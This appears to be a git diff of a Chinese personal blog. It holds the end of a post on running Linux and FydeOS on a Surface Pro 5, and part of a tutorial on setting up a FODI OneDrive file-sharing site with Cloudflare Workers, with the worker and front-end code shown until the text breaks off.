总的来说是还可以,但是要经过一番配置才可以,你需要安装一个Kernel才能解锁Surface的全部功能(包括触屏等)

+

使用的项目是这个https://github.com/linux-surface/linux-surface

+

安装方法见Installation and Setup · linux-surface/linux-surface Wiki (github.com)

+

FydeOS(ChromeOS衍生版)体验

装了FydeOS的Surface Pro 5

+

为啥我会选择装ChromeOS?这个要从一个想法说起。本来我就是个音游玩家,一直在用手机玩音游,没怎么用过平板来玩(以前嫖过别人的平板不过那也是别人的),平板玩音游的优势很大,主要还是屏幕大。我一开始选的是Bliss OS For PC,这个里面是个Android x86系统,但我不知道是苏菲特色还是咋地,不管是BlissOS 11、BlissOS 14 还是 BlissOS 15(如果过不了那个logcat可以F12里面直接找下载链接,这里放一个 -> BlissOS 15 with Gearlock)装在我的Surface上就一直起不来(进不了系统,有的卡在grub,有的卡在kernel load,有的直接重启),所以我就只能另辟蹊径

+

我想起之前用过的FydeOS,但是用的是以前的那个联想装的,还很不成熟,只能在U盘里面使用,装东西也只能装在那个里面,所以当时就放弃了。时隔一年,我又再次下载下来发现已经跟之前很不一样了,现在可以安装在硬盘里面了(安装过程省略,才不是我没有截图呢),安装的时候如果你要保留Windows,记得让安装程序帮你配置rEFInd,要不然会很麻烦

+

开机后直接就是一张壁纸,下面是任务栏(启动器)

+

+

从下往上滑,打开应用列表,有个非常显眼的东西:安卓设置,点开以后会有个EULA,同意了就可以打开安卓子系统了(其实是Arc - Android Runtime on ChromeOS)

+

打开Android子系统后,可以在关于里面看到是Android 9(原生的)

+

+

用我们的常规手段打开开发者选项后,就可以打开adb调试了,然后可以在ChromeOS的Linux开发者容器里面用adb连接

+

你还可以在FydeOS的应用商店里面找到配置 OpenGapps这个应用,打开它,我们就可以安装GAPPS套件了

+

+

你可以预先下好Clash啥的软件,方便后续使用

+

关于VPN服务,真的要点个赞,当你在Android子系统中使用VPN服务时,FydeOS会自动将VPN应用于整个OS里面,也就是说当我打开Clash的时候,不仅仅是Android子系统的软件可以走代理,FydeOS的Chromium也上了代理,不用再在Linux容器里面装多个v2rayL啥的东西了

+

+

接着就是装一堆音游啦!既然有了Google Play商店,我就从Play商店里面下载(Cytus2本来在B站下的,因为给B站充钱了,但是在这上面会闪退而Play版就不会,辣鸡龙渊能不能让我转国际区……)

+

+

+

在这个上面玩音游的体验不能算是优秀,只能算是中规中矩,有些音游在上面玩的有点卡(例如阿卡伊,当然不排除我真的不会玩阿卡伊),华为玩音游有的现象在这上面基本都有(指吃音)

+

不过这个系统的Android和ChromeOS之间几乎没有隔阂,这个体现在分享上面,你可以直接分享到Android的应用中

+

+

我还在这上面装了崩崩崩、PCR(多聚酶链式反应)、FGO(非酋系列)、明日方舟这几个游戏,本来装了原的,但是原的体验并不好,跟在我的红米NOTE 11上面打感觉没什么两样,就删掉了

+

不过这个Android有一个缺点:不能root,我正在寻找root的方式不过这肯定要很久,或许我会找不到。本来我想试试在Windows下用DiskGenius把boot.img直接提取出来修补的,但是FydeOS的目录结构非常奇怪,我是真的没有找到,慢慢来吧……

+

安装Linux子系统出现问题

在开启Linux虚拟机的时候提示安装Linux时出错 - 启动虚拟机时出错,请重试;打开Linux终端提示Error starting penguin container: 5 Launching vmshell failed: Error starting crostini for terminal: 5

+

可以通过查看/var/log/messages这个文件来看看问题出在哪,先Ctrl + Shift + T打开Crosh(ChromeOS的终端入口),然后输入shell打开终端,接着输入sudo su进入root用户才能看到

+

我这里看到的日志如下(节选了报错部分)

+
1
2
3
4
5
6
7
2022-12-20T04:42:38.583489Z INFO vm_concierge[3233]: Preallocating user-chosen-size raw disk image
2022-12-20T04:42:38.584372Z INFO kernel: [ 396.631888] EXT4-fs (dm-1): mounted filesystem without journal. Opts:
2022-12-20T04:42:38.606690Z INFO vm_concierge[3233]: Disk image preallocated
2022-12-20T04:42:38.610554Z INFO vm_concierge[3233]: Received StartVm request
2022-12-20T04:42:38.610606Z ERR vm_concierge[3233]: Missing VM kernel path: /run/imageloader/cros-termina/99999.0.0/vm_kernel
2022-12-20T04:43:09.578102Z NOTICE temp_logger[16903]: INT3400_Thermal:20C B0D4:93C GEN4:39C GEN5:37C pch_skylake:52C x86_pkg_temp:91C PL1:30.000W
2022-12-20T04:43:35.275342Z WARNING session_manager[1287]: WARNING session_manager: [device_identifier_generator.cc(228)] No device identifiers available, no state keys generated
+ +

这里很明显了是缺少kernel文件,在官方论坛问了一圈,官方回复如下

+
1
请检查 /usr/local/tatl-fydeos/ 目录是否存在,其中应该有 vm_kernel, vm_rootfs.img 等文件。 如果目录不存在或者文件缺失的话,需要在 shell 中以 root 身份执行 /usr/bin/stateful_update_wrapper.sh recover 把 stateful 分区恢复一下,重启后再重试安装 linux 子系统。
+ +

然后我去检查,果然没有这个目录,根据他给的方法恢复一下,可以用了

+

这里有个坑就是它恢复的时候会下载资源文件,这个资源文件的下载链接是AWS3的,建议挂个梯子下,要不然慢得很

+
+

总结

Surface Pro 5毕竟是一台几年前的本子了,论性能肯定比不上现在的电脑,但是它带给我的使用体验是非常棒的,比我之前那台YOGA要好得多(轻薄、便携),而且3:2的屏幕确实适合工作(这里表扬一下拯救者系列,我的戴尔游侠就是16:9),可能缺点就是在性能上,还有就是Linux的适配上面了。该说不愧是微软亲儿子嘛,微软做工确实牛

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Enchance-my-Surface-Pro-5/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/FODI/index.html b/posts/FODI/index.html new file mode 100644 index 0000000000..573ea9a7d8 --- /dev/null +++ b/posts/FODI/index.html @@ -0,0 +1,322 @@ +Onedrive分享型网盘搭建 - FODI | GamerNoTitle + + + + + + + + + + + + + + + +

Onedrive分享型网盘搭建 - FODI

本人有两个onedrive账号,一个自用,另外一个是前几天蹭的edu账号,之前一直想用onedrive来分享文件(毕竟容量是真的大),就在放寒假前,我发现了github的一个项目:FODI,虽说这UI不是很好看,但是不用服务器(嗯,让白嫖党有点快乐了),所以就动起了手……

+

官方教程:https://logi.im/front-end/scf-fodi.html

+

当我正在按照官方教程搭建的时候,在获取refresh_token这一步,它居然给我报错了???

+

官方教程中,是要求进入此网址进行登录后,把第一个?删掉,把第一个&改成?,然后就给我弹出以下错误:

+
1
2
3
4
5
6
7
8
9
10
11
Message
{
"error": "invalid_grant",
"error_description": "AADSTS54005: OAuth2 Authorization code was already redeemed, please retry with a new valid code or use an existing refresh token.\r\nTrace ID: b0425d60-48d1-4006-aec5-76d97732cd00\r\nCorrelation ID: 0d390346-7cfa-4284-9518-67444dca1511\r\nTimestamp: 2020-02-09 02:08:21Z",
"error_codes": [
54005
],
"timestamp": "2020-02-09 02:08:21Z",
"trace_id": "b0425d60-48d1-4006-aec5-76d97732cd00",
"correlation_id": "0d390346-7cfa-4284-9518-67444dca1511"
}
+ +

我的内心是崩溃的……好了不干了!

+

咕咕咕

+
+

回归正题,干还是要干的,要么握着5T的onedrive没意思是吧……

+

然后我在Github又发现了一个新的项目——OneManager

+

嘤嘤嘤

+

打算部署这个玩意,这时候就有人问了:诶不是,你这标题不是写的FODI?怎么变成OneManager了?

+

别急,这玩意自然有它利用的价值

+

Deploy点击这个紫色的按钮,就会进入heroku的部署界面(啥?你说你不会用?那没事了),将此项目部署后进行安装,会要求输入heroku的api和管理员密码,这些就按要求填写就好了

+

接着就到了比较重要的一步:获取refresh_token(没错你知道我要干嘛了)

+

版本选择

+

第一步安装的时候选择MS(中国版选择CN,如果你喜欢搞事情,你也可以选择MSC自己申请api,我就是懒,就不自己申请api了)

+

然后登陆自己的微软账户,接着就会弹出自己的refresh_token,这不就搞定了refresh_token啦?!

+

refresh_token获取

+

如果你没有及时复制你自己的refresh_token,你也可以到你自己heroku项目的变量下复制

+

refresh_token in Heroku

+

接着我们返回FODI,将自己的refresh_token贴近官方给的模板的对应位置,接着将代码复制到cloudflare的workers里面(你又问我workers是什么?看这里啦!),然后保存即可!

+

cloudflare editor

+

官方模板:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
/**
* IS_CN: 如果为世纪互联版本,请将 0 改为 1
* EXPOSE_PATH:暴露路径,如全盘展示请留空,否则按 '/媒体/音乐' 的格式填写
* ONEDRIVE_REFRESHTOKEN: refresh_token
*/
const IS_CN = 0;
const EXPOSE_PATH = ""
const ONEDRIVE_REFRESHTOKEN = ""


async function handleRequest(request) {
let requestPath
let querySplited
let queryString = request.url.split('?')[1]
if (queryString) {
querySplited = queryString.split('=')
}
if (querySplited && querySplited[0] === 'file') {
const file = querySplited[1]
const fileName = file.split('/').pop();
requestPath = file.replace('/' + fileName, '')
const url = await fetchFiles(requestPath, fileName)
return Response.redirect(url, 302)
} else {
const { headers } = request
const contentType = headers.get('content-type')
let body={}
if (contentType && contentType.includes('form')) {
const formData = await request.formData()
for (let entry of formData.entries()) {
body[entry[0]] = entry[1]
}
}
requestPath = body ? body['?path'] : '';
const files = await fetchFiles(requestPath, null, body.passwd);
return new Response(files, {
headers: {
'content-type': 'application/json; charset=utf-8',
'Access-Control-Allow-Origin': '*'
}
})
}
}

addEventListener('fetch', event => {
return event.respondWith(handleRequest(event.request))
})


const clientId = [
'4da3e7f2-bf6d-467c-aaf0-578078f0bf7c',
'04c3ca0b-8d07-4773-85ad-98b037d25631'

]
const clientSecret = [
'7/+ykq2xkfx:.DWjacuIRojIaaWL0QI6',
'h8@B7kFVOmj0+8HKBWeNTgl@pU/z4yLB'
]

const oauthHost = [
'https://login.microsoftonline.com',
'https://login.partner.microsoftonline.cn'
]

const apiHost = [
'https://graph.microsoft.com',
'https://microsoftgraph.chinacloudapi.cn'
]

const OAUTH = {
'redirectUri': 'https://scfonedrive.github.io',
'refreshToken': ONEDRIVE_REFRESHTOKEN,
'clientId': clientId[IS_CN],
'clientSecret': clientSecret[IS_CN],
'oauthUrl': oauthHost[IS_CN] + '/common/oauth2/v2.0/',
'apiUrl': apiHost[IS_CN] + '/v1.0/me/drive/root',
'scope': apiHost[IS_CN] + '/Files.ReadWrite.All offline_access'
}

async function gatherResponse(response) {
const { headers } = response
const contentType = headers.get('content-type')
if (contentType.includes('application/json')) {
return await response.json()
} else if (contentType.includes('application/text')) {
return await response.text()
} else if (contentType.includes('text/html')) {
return await response.text()
} else {
return await response.text()
}
}

async function getContent(url) {
const response = await fetch(url)
const result = await gatherResponse(response)
return result
}

async function getContentWithHeaders(url, headers) {
const response = await fetch(url, { headers: headers })
const result = await gatherResponse(response)
return result
}

async function fetchFormData(url, data) {
const formdata = new FormData();
for (const key in data) {
if (data.hasOwnProperty(key)) {
formdata.append(key, data[key])
}
}
const requestOptions = {
method: 'POST',
body: formdata
};
const response = await fetch(url, requestOptions)
const result = await gatherResponse(response)
return result
}

async function fetchAccessToken() {
url = OAUTH['oauthUrl'] + 'token'
data = {
'client_id': OAUTH['clientId'],
'client_secret': OAUTH['clientSecret'],
'grant_type': 'refresh_token',
'requested_token_use': 'on_behalf_of',
'refresh_token': OAUTH['refreshToken']
}
const result = await fetchFormData(url, data)
return result.access_token
}

async function fetchFiles(path, fileName, passwd) {
if (!path || path === '/') {
if (EXPOSE_PATH === '') {
path = ''
} else {
path = ':' + EXPOSE_PATH
}
} else {
if (EXPOSE_PATH === '') {
path = ':' + path
} else {
path = ':' + EXPOSE_PATH + path
}
}

const accessToken = await fetchAccessToken()
const uri = OAUTH.apiUrl + encodeURI(path) + '?expand=children(select=name,size,parentReference,lastModifiedDateTime,@microsoft.graph.downloadUrl)'

const body = await getContentWithHeaders(uri, {
Authorization: 'Bearer ' + accessToken
})
if (fileName) {
let thisFile = null
body.children.forEach(file => {
if (file.name === decodeURIComponent(fileName)) {
thisFile = file['@microsoft.graph.downloadUrl']
return
}
})
return thisFile
} else {
let files = []
let encrypted = false
for (let i = 0; i < body.children.length; i++) {
const file = body.children[i]
if (file.name === '.password') {
const PASSWD = await getContent(file['@microsoft.graph.downloadUrl'])
if (PASSWD !== passwd) {
encrypted = true;
break
} else {
continue
}
}
files.push({
name: file.name,
size: file.size,
time: file.lastModifiedDateTime,
url: file['@microsoft.graph.downloadUrl']
})
}
let parent
if (body.children.length) {
parent = body.children[0].parentReference.path
} else {
parent = body.parentReference.path
}
parent = parent.split(':').pop().replace(EXPOSE_PATH, '') || '/'
parent = decodeURIComponent(parent)
if (encrypted) {
return JSON.stringify({ parent: parent, files: [], encrypted: true })
} else {
return JSON.stringify({ parent: parent, files: files })
}
}
}
+ + + +

接着,我们打开官方给的html文件,将自己的workers链接贴到对应的位置,部署到github即可!

+

html文件备份:(可以直接复制)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
<!DOCTYPE html>

<head>
<script>
/**
* SCF_GATEWAY:SCF 云函数网关地址
* SITE_NAME:站点名称
*/
window.GLOBAL_CONFIG = {
SCF_GATEWAY: "",
SITE_NAME: "FODI",
IS_CF: true
};
if (window.GLOBAL_CONFIG.SCF_GATEWAY.indexOf('workers') === -1) {
window.GLOBAL_CONFIG.SCF_GATEWAY += '/fodi/';
window.GLOBAL_CONFIG.IS_CF = false;
}
// if (location.protocol === 'http:') {
// location.href = location.href.replace(/http/, 'https');
// }
</script>
<meta charset="utf-8">
<meta content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=no" name="viewport">
<script src="//s0.pstatp.com/cdn/expire-1-M/ionicons/4.5.6/ionicons.js"></script>
<script src="//s0.pstatp.com/cdn/expire-1-M/marked/0.6.2/marked.min.js"></script>
<script src="//s0.pstatp.com/cdn/expire-1-M/highlight.js/9.15.6/highlight.min.js"></script>
<link href="//s0.pstatp.com/cdn/expire-1-M/highlight.js/9.15.6/styles/github.min.css" rel="stylesheet" />
<link href="//s0.pstatp.com/cdn/expire-1-M/github-markdown-css/3.0.1/github-markdown.min.css" rel="stylesheet" />
<script src="//s0.pstatp.com/cdn/expire-1-M/jquery/3.4.0/jquery.min.js"></script>
<script src="//s0.pstatp.com/cdn/expire-1-M/fancybox/3.5.7/jquery.fancybox.min.js"></script>
<link href="//s0.pstatp.com/cdn/expire-1-M/fancybox/3.5.7/jquery.fancybox.min.css" rel="stylesheet" />
<style>
.password-wrapper {
display: flex;
align-items: center;
}

.password {
margin: 0 auto;
padding-top: 1em;
display: none;
}

.password input {
height: 2em;
outline: none;
border: solid rgb(218, 215, 215) 1px;
}

.password button {
background: white;
height: 2em;
outline: none;
border: solid rgb(218, 215, 215) 1px;
}

.password button:hover {
color: white;
background: rgb(218, 215, 215);
}

pre * {
font-family: Courier New;
}

.preview {
display: none;
font-size: .8em;
}

.content {
clear: both;
padding: 0 1em;
margin: 0 auto;
text-align: center;
}

.file-name {
line-height: 1em;
padding: 1em 1em 0;
text-align: center;
white-space: nowrap;
overflow: hidden;
}

.btn {
float: right;
text-align: center;
border: solid rgb(218, 215, 215) 1px;
border-radius: 1em;
margin: 1em .2em;
width: 4em;
height: 2em;
line-height: 2em;
user-select: none;
-moz-user-select: none;
-o-user-select: none;
-khtml-user-select: none;
-webkit-user-select: none;
-ms-user-select: none;
}

.btn:hover {
color: white;
background: rgb(218, 215, 215);
}

.btn.download {
margin-right: 1em;
}

#arrow-back,
#arrow-forward {
color: rgb(218, 215, 215);
}

.loading-wrapper {
display: none;
position: fixed;
height: 2em;
line-height: 2em;
margin-top: .5em;
width: 100%;
z-index: 1;
}

.loading {
color: white;
background: rgb(218, 215, 215);
height: 100%;
width: 8em;
margin: 0 auto;
text-align: center;
border-radius: 1em;
}

ion-icon {
font-size: 1.5em;
}

* {
box-sizing: border-box;
font-family: serif;
}

.markdown-body {
min-width: 200px;
margin: 0 auto;
padding: .7em 1em;
font-size: .8em;
}

.markdown-body h1,
h2,
h3,
h4,
h5,
h6 {
margin-top: 0;
}

.markdown-body img {
max-width: 90%;
max-height: 800px;
width: auto;
height: auto;
display: block;
margin: 0 auto;
}

body {
width: 100%;
height: 100%;
margin: 0;
padding: 0;
}

.header-wrapper {
position: fixed;
height: 3em;
width: 100%;
-moz-user-select: none;
-o-user-select: none;
-khtml-user-select: none;
-webkit-user-select: none;
-ms-user-select: none;
user-select: none;
}

.header {
padding: 0 1.8em 0 1em;
height: 100%;
display: flex;
align-items: center;
border-bottom: solid rgb(218, 215, 215) 1px;
}

.logo {
margin-right: .3em;
}

.site {
white-space: nowrap;
/* margin-left: auto;
padding-left: 2em; */
}

.nav {
width: 100%;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}

.nav-path,
.nav-arr {
font-size: 1em;
height: 1.5em;
margin-right: .3em;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
cursor: default;
}

#main-page:hover,
.nav-path:hover,
.tree-node:hover,
.row.file-wrapper:hover {
color: rgb(90, 101, 133);
cursor: pointer;
}


.container {
position: fixed;
width: 100%;
height: calc(100% - 3em);
margin-top: 3em;
}

.main {
position: relative;
height: 100%;
width: 100%;
}

.left {
position: absolute;
display: inline-grid;
width: 20%;
height: 100%;
font-size: .8em;
overflow: scroll;
}

.tree-node-wrapper {
margin-left: 1.5em;
}

.tree-node {
display: flex;
align-items: center;
}

.tree-node-name {
margin-left: .3em;
white-space: nowrap;
}

.right {
position: absolute;
width: 80%;
height: 100%;
margin-left: 20%;
overflow: scroll;
}

.row {
height: 2.5em;
padding: 0 .8em 0 1em;
display: flex;
align-items: center;
border-bottom: solid rgb(218, 215, 215) 1px;
}

.row.file-wrapper {
font-size: .8em;
padding: 0 1em;
height: 2em;
}

.file {
width: 100%;
display: flex;
align-items: center;
}

.name {
display: flex;
align-items: center;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
width: 70%;
padding-left: .3em;
}

.list-header .name {
width: calc(70% + 1.1em);
padding-left: 0;
}

.time {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
text-align: right;
;
width: 133px;
}

.size {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
margin-left: auto;
}

@media screen and (max-width: 1000px) {
.left {
display: none;
}

.right {
width: 100%;
margin-left: initial;
}
}

@media screen and (max-width: 800px) {
.name {
width: 60%;
}

.list-header .name {
width: calc(60% + 1.1em);
}

.file-name {
overflow-x: scroll;
height: 100%;
}
}

@media screen and (max-width: 600px) {
.name {
width: 75%;
}

.time {
display: none;
}

.header {
padding: 0 .3em;
}

.row {
padding: 0 .3em;
}

.row.file-wrapper {
padding: 0 .3em;
height: 3em;
}

.markdown-body {
padding: .6em .3em;
}

.file-name {
padding: 1em .3em 0;
}

.content {
padding: 0 .3em;
}

.btn.download {
margin-right: .3em;
}

.logo {
width: 2em;
height: 2em;
}


}
</style>
<script>
function createCORSRequest(method, url, timeout) {
let xhr = new XMLHttpRequest();
if ('withCredentials' in xhr) {
xhr.open(method, url, true);
} else if (typeof XDomainRequest !== 'undefined') {
xhr = new XDomainRequest();
xhr.open(method, url);
} else {
xhr = null;
}
if (xhr) {
xhr.timeout = timeout;
}
return xhr;
}

function sendRequest(method, url, data, headers, callback, error, times) {
let xhr = createCORSRequest(method, url, 2500);
xhr.onreadystatechange = () => {
if (xhr.readyState == 4 && xhr.status == 200) {
callback(xhr.responseText);
}
};
xhr.timeout = xhr.onerror = () => {
if (!times) {
times = 0;
}
console.log({
url: url,
data: data,
times: times
})
if (times < 1) {
sendRequest(method, url, data, headers, callback, error, times + 1);
} else if (typeof error === 'function') {
error();
}
}
if (headers) {
for (key in headers) {
if (headers.hasOwnProperty(key)) {
xhr.setRequestHeader(key, headers[key]);
}
}
}
if (data) {
xhr.send(data);
} else {
xhr.send();
}
}

function renderPage(data, cache) {
let files;
if (data) {
files = JSON.parse(data);
window.fileCache.set(files.parent, files);
preCache(files, 0);
} else {
files = cache;
}
if (files.parent === window.backFordwardCache.current) {
renderPath(files.parent);
if (files.encrypted) {
handleEncryptedFolder(files);
} else {
renderFileList(files);
}
renderTreeNode(files);
}
if (document.body.getAttribute('hidden')) {
document.body.removeAttribute('hidden');
}
document.querySelector('.loading-wrapper').style.display = 'none';
}

function renderPath(path) {
const createPathSpan = (text, path) => {
let pathSpan = document.createElement('span');
pathSpan.innerHTML = text.length > 20 ? text.substring(0, 20) + '..' : text;
pathSpan.className = text === '/' ? 'nav-arr' : 'nav-path';
if (path) {
addPathListener(pathSpan, path);
}
return pathSpan;
};

const paths = path.split('/');
let pathSpanWrapper = document.getElementById('path');
pathSpanWrapper.innerHTML = '';
pathSpanWrapper.appendChild(createPathSpan(window.api.root));
let continualPath = '/';
for (let i = 1; i < paths.length - 1; i++) {
continualPath += paths[i];
pathSpanWrapper.appendChild(createPathSpan(paths[i], continualPath));
pathSpanWrapper.appendChild(createPathSpan('/'));
continualPath += '/';
}
pathSpanWrapper.appendChild(createPathSpan(paths[paths.length - 1]));
}

function renderFileList(files) {
switchRightDisplay();

const createFileWrapper = (type, name, time, size, path, url) => {
let fileWrapper = document.getElementById('file-wrapper-templete').content.cloneNode(true);
fileWrapper.querySelector('ion-icon').setAttribute('name', type);
fileWrapper.querySelector('.name').innerHTML = name;
fileWrapper.querySelector('.time').innerHTML = time;
fileWrapper.querySelector('.size').innerHTML = size;
addFileListLineListener(fileWrapper.querySelector('.row.file-wrapper'), path, url, size);
return fileWrapper;
};

const formatDate = date => {
const addZero = num => num > 9 ? num : '0' + num;
date = new Date(date);
const year = date.getFullYear();
const month = addZero(date.getMonth() + 1);
const day = addZero(date.getDate());
const hour = addZero(date.getHours());
const minute = addZero(date.getMinutes());
const second = addZero(date.getSeconds());
return 'yyyy-MM-dd HH:mm:ss'
.replace('yyyy', year)
.replace('MM', month)
.replace('dd', day)
.replace('HH', hour)
.replace('mm', minute)
.replace('ss', second);
};

const formatSize = size => {
let count = 0;
while (size >= 1024) {
size /= 1024;
count++;
}
size = size.toFixed(2);
switch (count) {
case 1:
size += ' KB';
break;
case 2:
size += ' MB';
break;
case 3:
size += ' GB';
break;
case 4:
size += ' TB';
break;
case 5:
size += ' PB';
break;
default:
size += ' B';
}
return size;
};

let fileList = document.getElementById('file-list');
fileList.innerHTML = '';
files.files.forEach(file => {
if (file.name.split('.').pop() === 'md') {
if (file.url) {
renderReadme(files.parent + '/' + file.name, file.url);
}
} else {
const parent = files.parent === window.api.root ? '' : files.parent;
fileList.appendChild(createFileWrapper(
file.url ? 'document' : 'folder',
file.name,
formatDate(file.time),
formatSize(file.size),
parent + '/' + file.name,
file.url
));
}
});
}

async function renderTreeNode(files) {
const createTreeNodeWrapper = (array, type, name, path) => {
let treeNodeWrapper = document.getElementById('tree-node-wrapper-template').content
.cloneNode(true);
let icons = treeNodeWrapper.querySelectorAll('ion-icon');
icons[0].setAttribute('name', array);
icons[1].setAttribute('name', type);
treeNodeWrapper.querySelector('.tree-node-name').innerText = name;
treeNodeWrapper.appendNode = node => treeNodeWrapper.querySelector('.tree-node-wrapper').append(
node);
addTreeNodeListener(treeNodeWrapper.querySelector('.tree-node'), path);
return treeNodeWrapper;
}

const paths = files.parent.split('/');
let absolutePath = max => {
let absolutePath = '';
for (let j = 1; j <= max; j++) {
absolutePath += '/' + paths[j];
}
return absolutePath;
};
